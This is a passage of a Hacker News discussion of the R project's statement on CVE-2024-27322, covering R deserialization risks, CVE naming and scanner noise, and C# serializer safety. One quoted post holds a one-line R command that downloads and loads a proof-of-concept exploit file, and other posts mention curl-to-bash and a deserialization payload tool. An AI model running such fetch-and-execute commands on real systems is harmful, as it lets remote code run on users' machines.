Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Statement on CVE-2024-27322

blog.r-project.org

Post reply on HN
Print view View original

41–50 of 51 posts

Re: Statement on CVE-2024-27322

#41

Post by rfoo »

ziddoap wrote: post #32
rfoo wrote: post #2

tl;dr R has its own pickle.load and someone decided to milk a CVE [1] out of this fact. [1] and a blog post for bragging, thankfully they didn't do a name and a logo.

> and a blog post for bragging, thankfully they didn't do a name and a logo. I am still amazed on how many people on HN seem to get worked up over vulnerability names. God forbid someone also slaps a piece of clip art or whatever on the blog post. Worse yet, if they buy a $5 domain... the horror! Maybe it's just me, but I'd much rather remember "Heartbleed" over "CVE-2014-0160".

It's fine when your bugs are (unanimously) cool, be it Heartbleed, Meltdown, Spectre or Load Value Injection (this one gets a hilarious video even).

For less cool bugs a logo and a name seems rather... strange, because it happens all the time and it's not clear why it's special. Imagine a coworker fixed a random JIRA ticket which may be "switching to night mode does not work on a certain page" and then named it "Nightfall" and a logo and a landing page and a lot of bragging in the next periodic meeting.

Re: Statement on CVE-2024-27322

#42

Post by ethbr1 »

neonsunset wrote: post #30
lyu07282 wrote: post #17

Earlier quoted context omitted.

In applications using pickle on untrusted data, that's a big distinction. There are a huge number of similar java and c# object serializationg bugs as well.

There aren't in C#. Neither Newtonsoft.JSON (by default) nor System.Text.Json (at all) allow uncontrolled deserialization. Pretty much no code ever defaulted to Newtonsoft's TypeNameHandling.Auto and community has always been aware of its dangers, espcially in light of the incidents like Log4J. And BinaryFormatter has been long ago deprecated (and now it got completely removed, in the form of a breaking change, somet…

C# is pretty hard-nosed about serialization.

E.g. My discovery the other day that out of the box C# System.Text.Json can't serialize System.Exception without writing a custom serializer [0] (since 2020, because .NET fix speed...). NewtonSoft handles it fine. (Had wanted a quick-and-dirty debugging dump of properties)

[0] https://github.com/dotnet/runtime/issues/43026

Re: Statement on CVE-2024-27322

#43

Post by ethbr1 »

dfox wrote: post #40
ethbr1 wrote: post #35

Earlier quoted context omitted.

On the other hand, scanners do flag CVEs (and therefore regulatory patch requirements are triggered by them). So at the end of the day, it does apply patch pressure to regulated companies.

Autogenerated security audits that flag totally irellevant CVEs are another symptom of the same problem. Such scans usually only compare the version of the package in question, which breaks badly when distributions backport security patches and leads to complete irrelevant results when the "vulnerability" in question pertain to configuration that is not used (good example of that are CVEs for the mail-proxy component…

100% granted: the avalanche of CVEs is a serious problem.

Which is why the scanner companies are actually providing a "tell me what I need to care about" service.

In general, it does feel like we're groping (blindly) towards a healthier future.

Re: Statement on CVE-2024-27322

#44

Post by mfer »

nomilk wrote: post #18

> We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language. Isn't this demonstrably false? I.e. run this [1] load(url(" https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda ")) and it opens the calculator application on windows/macOS (or echo's 'pwnd' on linux). When someone can easily cause their hidden system code t…

Part of this comes to trust and who/where trust decisions happen.

If I read the projects statement right, they think you should only load what you already trust.

The problem is that many people load things they just found on the Internet. Like `curl | bash` to random things people find.

Note, if it's not obvious, `curl | bash` to scripts on the Internet is just as insecure as the current R implementation.

Re: Statement on CVE-2024-27322

#45

Post by vharuck »

jojobas wrote: post #26
greentxt wrote: post #19

Earlier quoted context omitted.

CSV is CSV. A serialized object is a serialized object. The main concern they cite, are supply chain attacks. So it’s like saying loading a package can… load a package. Supply chain attacks will always be a thing. I’m grateful for the work of the researchers in question but don’t feel this is much of a blemish when it comes to R itself being insecure.

Is there another way to load a saved dataset in R though, so that it can't execute anything?

Save it in the usual text-based formats, like a CSV or JSON. Outside of packages, which use serialized data by default for good reasons, I haven't seen many people loading strangers' RDS or RData files.

If an attacker can control a package's rdb and rdx files, it's game over. They could just stick an `.onAttach` function in that does whatever they want when the package is loaded directly or imported by another package.

Re: Statement on CVE-2024-27322

#46

Post by neonsunset »

ethbr1 wrote: post #42
neonsunset wrote: post #30

Earlier quoted context omitted.

There aren't in C#. Neither Newtonsoft.JSON (by default) nor System.Text.Json (at all) allow uncontrolled deserialization. Pretty much no code ever defaulted to Newtonsoft's TypeNameHandling.Auto and community has always been aware of its dangers, espcially in light of the incidents like Log4J. And BinaryFormatter has been long ago deprecated (and now it got completely removed, in the form of a breaking change, somet…

C# is pretty hard-nosed about serialization. E.g. My discovery the other day that out of the box C# System.Text.Json can't serialize System.Exception without writing a custom serializer [0] (since 2020, because .NET fix speed...). NewtonSoft handles it fine. (Had wanted a quick-and-dirty debugging dump of properties) [0] https://github.com/dotnet/runtime/issues/43026

A serializer cannot make a reasonable assumption about how an exception should be serialized on the user's behalf, let alone deserialized. Newtonsoft had and still has quite a few problematic defaults where people can inadvertently weaken privacy and security of the implementation, which System.Text.Json is opinionated in solving.

If you are okay with risks that come from including exception's message in data sent over the network (e.g. not publicly exposed), then defining a custom converter is trivial (it's like 10-15 lines and adding it to serializer options), or you could simply .ToString/.Message it and include that in the payload instead. It's a minute thing.

As for exception deserialization, that's a gross feature misuse and not something that should be done.

Re: Statement on CVE-2024-27322

#47

Post by ethbr1 »

neonsunset wrote: post #46
ethbr1 wrote: post #42

Earlier quoted context omitted.

C# is pretty hard-nosed about serialization. E.g. My discovery the other day that out of the box C# System.Text.Json can't serialize System.Exception without writing a custom serializer [0] (since 2020, because .NET fix speed...). NewtonSoft handles it fine. (Had wanted a quick-and-dirty debugging dump of properties) [0] https://github.com/dotnet/runtime/issues/43026

A serializer cannot make a reasonable assumption about how an exception should be serialized on the user's behalf, let alone deserialized. Newtonsoft had and still has quite a few problematic defaults where people can inadvertently weaken privacy and security of the implementation, which System.Text.Json is opinionated in solving. If you are okay with risks that come from including exception's message in data sent ov…

To me, it feels like an abuse of "you shouldn't be doing that"-ism.

A serializer should generate a sane serialization of whatever I throw at it. Or at least have an option that allows me to force that.

If I then choose to send that serialization somewhere unreasonable, that's on me.

In my case, I was hacking in C#-on-top-of-another-environment, so didn't have full access to reimplement stuff, without jumping through additional hoops.

That said, absolutely agreed on de-serialization, as larger opportunities for footguns abound.

Re: Statement on CVE-2024-27322

#48

Post by lyu07282 »

neonsunset wrote: post #30
lyu07282 wrote: post #17

Earlier quoted context omitted.

In applications using pickle on untrusted data, that's a big distinction. There are a huge number of similar java and c# object serializationg bugs as well.

There aren't in C#. Neither Newtonsoft.JSON (by default) nor System.Text.Json (at all) allow uncontrolled deserialization. Pretty much no code ever defaulted to Newtonsoft's TypeNameHandling.Auto and community has always been aware of its dangers, espcially in light of the incidents like Log4J. And BinaryFormatter has been long ago deprecated (and now it got completely removed, in the form of a breaking change, somet…

I was thinking of BinaryFormatter and NetDataContractSerializer, etc. unsafe .NET object deserialization. I'm sure the default JSON serializer in C# is safe (lmao language fanboys)

https://github.com/pwntester/ysoserial.net

Re: Statement on CVE-2024-27322

#49

Post by jojobas »

vharuck wrote: post #45
jojobas wrote: post #26

Earlier quoted context omitted.

Is there another way to load a saved dataset in R though, so that it can't execute anything?

Save it in the usual text-based formats, like a CSV or JSON. Outside of packages, which use serialized data by default for good reasons, I haven't seen many people loading strangers' RDS or RData files. If an attacker can control a package's rdb and rdx files, it's game over. They could just stick an `.onAttach` function in that does whatever they want when the package is loaded directly or imported by another packag…

The fact that they had to mess with unbounded promises, and that the bug got fixed suggests you normally can't run any code from load().

Re: Statement on CVE-2024-27322

#50

Post by DEADMINCE »

rfoo wrote: post #41
ziddoap wrote: post #32

Earlier quoted context omitted.

> and a blog post for bragging, thankfully they didn't do a name and a logo. I am still amazed on how many people on HN seem to get worked up over vulnerability names. God forbid someone also slaps a piece of clip art or whatever on the blog post. Worse yet, if they buy a $5 domain... the horror! Maybe it's just me, but I'd much rather remember "Heartbleed" over "CVE-2014-0160".

It's fine when your bugs are (unanimously) cool, be it Heartbleed, Meltdown, Spectre or Load Value Injection (this one gets a hilarious video even). For less cool bugs a logo and a name seems rather... strange, because it happens all the time and it's not clear why it's special. Imagine a coworker fixed a random JIRA ticket which may be "switching to night mode does not work on a certain page" and then named it "Nigh…

> Imagine a coworker fixed a random JIRA ticket which may be "switching to night mode does not work on a certain page" and then named it "Nightfall" and a logo and a landing page and a lot of bragging in the next periodic meeting.

Well, that would be hilarious.

Post reply on HN